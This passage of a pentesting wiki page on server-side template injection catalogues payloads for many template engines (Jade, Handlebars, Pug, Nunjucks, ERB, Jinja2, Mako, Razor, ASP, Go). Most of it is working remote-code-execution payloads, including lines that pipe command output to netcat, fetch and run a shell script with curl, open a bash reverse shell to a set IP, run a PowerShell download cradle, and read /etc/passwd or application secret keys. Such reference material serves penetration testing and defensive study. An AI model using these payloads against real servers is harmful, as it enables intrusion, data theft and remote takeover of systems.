```html 615 <html> 616 <head> 617 <title><?=$this->e($title)?></title> 618 </head> 619 <body> 620 <?=$this->section('content')?> 621 </body> 622 </html> 623 ``` 624 625 **More information** 626 627 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates) 628 629 ### PHPlib and HTML_Template_PHPLIB (PHP) 630 631 [HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) is the same as PHPlib but ported to Pear. 632 633 `authors.tpl` 634 635 ```html 636 <html> 637 <head> 638 <title>{PAGE_TITLE}</title> 639 </head> 640 <body> 641 <table> 642 <caption> 643 Authors 644 </caption> 645 <thead> 646 <tr> 647 <th>Name</th> 648 <th>Email</th> 649 </tr> 650 </thead> 651 <tfoot> 652 <tr> 653 <td colspan="2">{NUM_AUTHORS}</td> 654 </tr> 655 </tfoot> 656 <tbody> 657 <!-- BEGIN authorline --> 658 <tr> 659 <td>{AUTHOR_NAME}</td> 660 <td>{AUTHOR_EMAIL}</td> 661 </tr> 662 <!-- END authorline --> 663 </tbody> 664 </table> 665 </body> 666 </html> 667 ``` 668 669 `authors.php` 670 671 ```php 672 <?php 673 //we want to display this author list 674 $authors = array( 675 'Christian Weiske' => 'cweiske@php.net', 676 'Bjoern Schotte' => 'schotte@mayflower.de' 677 ); 678 679 require_once 'HTML/Template/PHPLIB.php'; 680 //create template object 681 $t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep'); 682 //load file 683 $t->setFile('authors', 'authors.tpl'); 684 //set block 685 $t->setBlock('authors', 'authorline', 'authorline_ref'); 686 687 //set some variables 688 $t->setVar('NUM_AUTHORS', count($authors)); 689 $t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d')); 690 691 //display the authors 692 foreach ($authors as $name => $email) { 693 $t->setVar('AUTHOR_NAME', $name); 694 $t->setVar('AUTHOR_EMAIL', $email); 695 $t->parse('authorline_ref', 'authorline', true); 696 } 697 698 //finish and echo 699 echo $t->finish($t->parse('OUT', 'authors')); 700 ?> 701 ``` 702 703 **More information** 704 705 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib) 706 707 ### Other PHP 708 709 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%286%29.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg</a></p></figcaption></figure> 710 711 - See the cross-engine comparison for further PHP engine fingerprints.<sup>[[7]](#references)</sup> 712 713 ### Jade (NodeJS) 714 715 ```javascript 716 - var x = root.process 717 - x = x.mainModule.require 718 - x = x('child_process') 719 = x.exec('id | nc attacker.net 80') 720 ``` 721 722 ```javascript 723 #{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout} 724 ``` 725 726 **More information** 727 728 - In Jade section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) 729 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen) 730 731 ### patTemplate (PHP) 732 733 > [patTemplate](https://github.com/wernerwa/pat-template) non-compiling PHP templating engine, that uses XML tags to divide a document into different parts 734 735 ```xml 736 <patTemplate:tmpl name="page"> 737 This is the main page. 738 <patTemplate:tmpl name="foo"> 739 It contains another template. 740 </patTemplate:tmpl> 741 <patTemplate:tmpl name="hello"> 742 Hello {NAME}.<br/> 743 </patTemplate:tmpl> 744 </patTemplate:tmpl> 745 ``` 746 747 **More information** 748 749 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate) 750 751 ### Handlebars (NodeJS) 752 753 Path Traversal (more info [here](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).<sup>[[9]](#references)</sup> 754 755 ```bash 756 curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/' 757 ``` 758 759 - \= Error 760 - ${7\*7} = ${7\*7} 761 - Nothing 762 763 ```java 764 {{#with "s" as |string|}} 765 {{#with "e"}} 766 {{#with split as |conslist|}} 767 {{this.pop}} 768 {{this.push (lookup string.sub "constructor")}} 769 {{this.pop}} 770 {{#with string.split as |codelist|}} 771 {{this.pop}} 772 {{this.push "return require('child_process').exec('whoami');"}} 773 {{this.pop}} 774 {{#each conslist}} 775 {{#with (string.sub.apply 0 codelist)}} 776 {{this}} 777 {{/with}} 778 {{/each}} 779 {{/with}} 780 {{/with}} 781 {{/with}} 782 {{/with}} 783 784 URLencoded: 785 %7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D 786 ``` 787 788 **More information** 789 790 - [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) 791 792 ### JsRender (NodeJS) 793 794 | **Template** | **Description** | 795 | ------------ | --------------------------------------- | 796 | | Evaluate and render output | 797 | | Evaluate and render HTML encoded output | 798 | | Comment | 799 | and | Allow code (disabled by default) | 800 801 - \= 49 802 803 **Client Side** 804 805 ```python 806 {{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}} 807 ``` 808 809 **Server Side** 810 811 ```bash 812 {{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}} 813 ``` 814 815 **More information** 816 817 - [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/) 818 819 ### PugJs (NodeJS) 820 821 - `#{7*7} = 49` 822 - `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}` 823 - `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}` 824 825 **Example server side render** 826 827 ```javascript 828 var pugjs = require("pug") 829 home = pugjs.render(injected_page) 830 ``` 831 832 **More information** 833 834 - [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/) 835 836 ### NUNJUCKS (NodeJS) <a href="#nunjucks" id="nunjucks"></a> 837 838 - \{{7\*7\}} = 49 839 - \{{foo\}} = No output 840 - \#{7\*7} = #{7\*7} 841 - \{{console.log(1)\}} = Error 842 843 ```javascript 844 { 845 { 846 range.constructor( 847 "return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')" 848 )() 849 } 850 } 851 { 852 { 853 range.constructor( 854 "return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')" 855 )() 856 } 857 } 858 ``` 859 860 **More information** 861 862 - [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine) 863 864 ### NodeJS expression sandboxes (vm2 / isolated-vm) 865 866 Some workflow builders evaluate user-controlled expressions inside Node sandboxes (`vm2`, `isolated-vm`), yet the expression context still exposes `this.process.mainModule.require`. That lets an attacker load `child_process` and execute OS commands even when dedicated “Execute Command” nodes are disabled:<sup>[[1]](#references)</sup> 867 868 ```javascript 869 ={{ (function() { 870 const require = this.process.mainModule.require; 871 const execSync = require("child_process").execSync; 872 return execSync("id").toString(); 873 })() }} 874 ``` 875 876 ### Other NodeJS 877 878 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281%29%20%281%29.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure> 879 880 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281%29%20%281%29%20%281%29.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure> 881 882 - The same comparison documents additional Node.js template markers.<sup>[[7]](#references)</sup> 883 884 ### ERB (Ruby) 885 886 - `{{7*7}} = {{7*7}}` 887 - `${7*7} = ${7*7}` 888 - `<%= 7*7 %> = 49` 889 - `<%= foobar %> = Error` 890 891 ```python 892 <%= system("whoami") %> #Execute code 893 <%= Dir.entries('/') %> #List folder 894 <%= File.open('/etc/passwd').read %> #Read file 895 896 <%= system('cat /etc/passwd') %> 897 <%= `ls /` %> 898 <%= IO.popen('ls /').readlines() %> 899 <% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%> 900 <% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%> 901 ``` 902 903 **More information** 904 905 - See the [Ruby SSTI payload collection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) for additional ERB payload variants. 906 907 ### Slim (Ruby) 908 909 - `{ 7 * 7 }` 910 911 ```text 912 { %x|env| } 913 ``` 914 915 **More information** 916 917 - Slim uses the same Ruby SSTI payload collection cited for ERB above; adapt the delimiters to the Slim rendering context. 918 919 ### Other Ruby 920 921 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%284%29.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg</a></p></figcaption></figure> 922 923 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%285%29.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg</a></p></figcaption></figure> 924 925 - Refer to the comparison for other Ruby engine behaviors and payload styles.<sup>[[7]](#references)</sup> 926 927 ### Python 928 929 Check out the following page to learn tricks about **arbitrary command execution bypassing sandboxes** in python: 930 931 932 [Bypass Python Sandboxes](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md) 933 934 ### Tornado (Python) 935 936 - `{{7*7}} = 49` 937 - `${7*7} = ${7*7}` 938 - `{{foobar}} = Error` 939 - `{{7*'7'}} = 7777777` 940 941 ```python 942 {% raw %} 943 {% import foobar %} = Error 944 {% import os %} 945 946 {% import os %} 947 {% endraw %} 948 949 950 {{os.system('whoami')}} 951 {{os.system('whoami')}} 952 ``` 953 954 **More information** 955 956 - [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado) 957 958 ### Jinja2 (Python) 959 960 [Official website](http://jinja.pocoo.org) 961 962 > Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed. 963 964 - `{{7*7}} = Error` 965 - `${7*7} = ${7*7}` 966 - `{{foobar}} Nothing` 967 - `{{4*4}}[[5*5]]` 968 - `{{7*'7'}} = 7777777` 969 - `{{config}}` 970 - `{{config.items()}}` 971 - `{{settings.SECRET_KEY}}` 972 - `{{settings}}` 973 - `<div data-gb-custom-block data-tag="debug"></div>` 974 975 ```python 976 {% raw %} 977 {% debug %} 978 {% endraw %} 979 980 981 {{settings.SECRET_KEY}} 982 {{4*4}}[[5*5]] 983 {{7*'7'}} would result in 7777777 984 ``` 985 986 **Jinja2 - Template format** 987 988 ```python 989 {% raw %} 990 {% extends "layout.html" %} 991 {% block body %} 992 <ul> 993 {% for user in users %} 994 <li><a href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssti-server-side-template-injection/%7B%7B%20user.url%20%7D%7D">{{ user.username }}</a></li> 995 {% endfor %} 996 </ul> 997 {% endblock %} 998 {% endraw %} 999 1000 1001 ``` 1002 1003 [**RCE that does not depend on**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`: 1004 1005 ```python 1006 {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} 1007 {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }} 1008 {{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }} 1009 1010 # Or in the shotest versions: 1011 {{ cycler.__init__.__globals__.os.popen('id').read() }} 1012 {{ joiner.__init__.__globals__.os.popen('id').read() }} 1013 {{ namespace.__init__.__globals__.os.popen('id').read() }} 1014 ``` 1015 1016 **More details about how to abuse Jinja**: 1017 1018 1019 [Jinja2 Ssti](/hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti) 1020 1021 Other payloads in [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) 1022 1023 ### Mako (Python) 1024 1025 ```python 1026 <% 1027 import os 1028 x=os.popen('id').read() 1029 %> 1030 ${x} 1031 ``` 1032 1033 **More information** 1034 1035 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako) 1036 1037 ### Other Python 1038 1039 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%282%29%20%281%29.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg</a></p></figcaption></figure> 1040 1041 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%283%29%20%281%29.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg</a></p></figcaption></figure> 1042 1043 - Additional Python template engines are summarized in the cross-engine comparison.<sup>[[7]](#references)</sup> 1044 1045 ### Razor (.Net) 1046 1047 - `@(2+2) <= Success` 1048 - `@() <= Success` 1049 - `@("{{code}}") <= Success` 1050 - `@ <=Success` 1051 - `@{} <= ERROR!` 1052 - `@{ <= ERROR!` 1053 - `@(1+2)` 1054 - `@( //C#Code )` 1055 - `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` 1056 - `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");` 1057 1058 The .NET `System.Diagnostics.Process.Start` method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) 1059 1060 **More information** 1061 1062 - [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](<https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/>) 1063 - [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/) 1064 1065 ### ASP 1066 1067 - `<%= 7*7 %>` = 49 1068 - `<%= "foo" %>` = foo 1069 - `<%= foo %>` = Nothing 1070 - `<%= response.write(date()) %>` = \<Date> 1071 1072 ```xml 1073 <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> 1074 ``` 1075 1076 **More Information** 1077 1078 - [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp) 1079 1080 ### .Net Bypassing restrictions 1081 1082 The .NET Reflection mechanisms can be used to bypass blacklisting or classes not being present in the assembly. DLL's can be loaded at runtime with methods and properties accessible from basic objects. 1083 1084 Dll's can be loaded with: 1085 1086 - `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - from filesystem. 1087 - `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - directly from request. 1088 1089 Full command execution: 1090 1091 ```text 1092 {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))} 1093 ``` 1094 1095 **More Information** 1096 1097 - [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/) 1098 1099 ### Mojolicious (Perl) 1100 1101 Even if it's perl it uses tags like ERB in Ruby. 1102 1103 - `<%= 7*7 %> = 49` 1104 - `<%= foobar %> = Error` 1105 1106 ```text 1107 <%= perl code %> 1108 <% perl code %> 1109 ``` 1110 1111 ### SSTI in GO 1112 1113 In Go's template engine, confirmation of its usage can be done with specific payloads: 1114 1115 - `{{ . }}`: Reveals the data structure input. For instance, if an object with a `Password` attribute is passed, `{{ .Password }}` could expose it. 1116 - `{{printf "%s" "ssti" }}`: Expected to display the string "ssti". 1117 - `{{html "ssti"}}`, `{{js "ssti"}}`: These payloads should return "ssti" without appending "html" or "js". Further directives can be explored in the Go documentation [here](https://golang.org/pkg/text/template). 1118 1119 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%288%29.png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure> 1120 1121 **XSS Exploitation** 1122 1123 With the `text/template` package, XSS can be straightforward by inserting the payload directly. Contrastingly, the `html/template` package encodes the response to prevent this (e.g., `{{"<script>alert(1)</script>"}}` results in `<script>alert(1)</script>`). Nonetheless, template definition and invocation in Go can bypass this encoding: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} 1124 1125 vbnet Copy code 1126 1127 **RCE Exploitation** 1128 1129 RCE exploitation differs significantly between `html/template` and `text/template`. The `text/template` module allows calling any public function directly (using the “call” value), which is not permitted in `html/template`. Documentation for these modules is available [here for html/template](https://golang.org/pkg/html/template/) and [here for text/template](https://golang.org/pkg/text/template/). 1130 1131 For RCE via SSTI in Go, object methods can be invoked. For example, if the provided object has a `System` method executing commands, it can be exploited like `{{ .System "ls" }}`. Accessing the source code is usually necessary to exploit this, as in the given example: 1132 1133 ```go 1134 func (p Person) Secret (test string) string { 1135 out, _ := exec.Command(test).CombinedOutput() 1136 return string(out) 1137 } 1138 ``` 1139 1140 **More information** 1141 1142 - [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to) 1143 - [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/) 1144 1145 1146 ### LESS (CSS Preprocessor) 1147 1148 When user-controlled template data reaches a LESS compilation step, LESS variables, mixins, functions, and `@import` rules become an additional injection surface. In particular, `@import (inline)` can retrieve attacker-selected content during compilation and embed the fetched response in the resulting CSS. 1149 1150 [Less Code Injection](/hacktricks/pentesting-web/xs-search/css-injection/less-code-injection) 1151 1152 1153 ### More Exploits 1154 1155 Once the template engine is identified, use an engine-specific exploitation workflow: enumerate exposed objects, look for dangerous methods or filters, and only then build the final payload.<sup>[[2]](#references)</sup> Check the rest of [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) for more exploits. You can also find interesting tag information in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI).<sup>[[3]](#references)</sup> 1156 1157 ## BlackHat PDF 1158 1159 [En Server Side Template Injection Rce For The Modern Web App Blackhat 15 (1).Pdf](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssti-server-side-template-injection/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15%20%281%29.pdf) 1160 1161 ## Related Help 1162 1163 If you think it could be useful, read: 1164 1165 - [Flask tricks](/hacktricks/network-services-pentesting/pentesting-web/flask) 1166 - [Python magic functions](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md) 1167 1168 ## Tools 1169 1170 - [https://github.com/Hackmanit/TInjA](https://github.com/Hackmanit/TInjA) 1171 - [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap) 1172 - [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap) 1173 - [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table) 1174 1175 ## Brute-Force Detection List 1176 1177 1178 [Ssti.Txt](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssti-server-side-template-injection/https%3A/github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt) 1179 1180 ## References 1181 1182 - [1] [Node expression sandbox escape via `process.mainModule.require` (n8n PoC)](https://github.com/Chocapikk/CVE-2026-21858) 1183 - [2] [PortSwigger Web Security Academy - Exploiting server-side template injection vulnerabilities](https://portswigger.net/web-security/server-side-template-injection/exploiting) 1184 - [3] [DiogoMRSilva - websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) 1185 - [4] [PortSwigger Web Security Academy - Server-side template injection](https://portswigger.net/web-security/server-side-template-injection) 1186 - [5] [0xdf – HTB: Editor (XWiki SolrSearch Groovy RCE → Netdata ndsudo privesc)](https://0xdf.gitlab.io/2025/12/06/htb-editor.html) 1187 - [6] [XWiki advisory – `SolrSearch` RSS Groovy RCE (GHSA-rr6p-3pfg-562j / CVE-2025-24893)](https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-rr6p-3pfg-562j) 1188 - [7] [@0xAwali - Template Engines Injection 101](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) 1189 - [8] [security.humanativaspa.it - Groovy Template Engine Exploitation Notes From A Real Case Scenario](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario) 1190 - [9] [blog.shoebpatel.com - The Secret Parameter LFR And Potential RCE In NodeJS Apps](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps) 1191 - [10] [PhoenixStorybook advisory - unauthenticated RCE via HEEx template injection (CVE-2026-8467)](https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-55hg-8qxv-qj4p) 1192 - [11] [WhoAreMe - Plausible Analytics: Pre-Auth RCE, Cross-Tenant IDORs, and SSRF-to-RCE](https://whoareme.com/blog/plausible-analytics-multiple-criticals)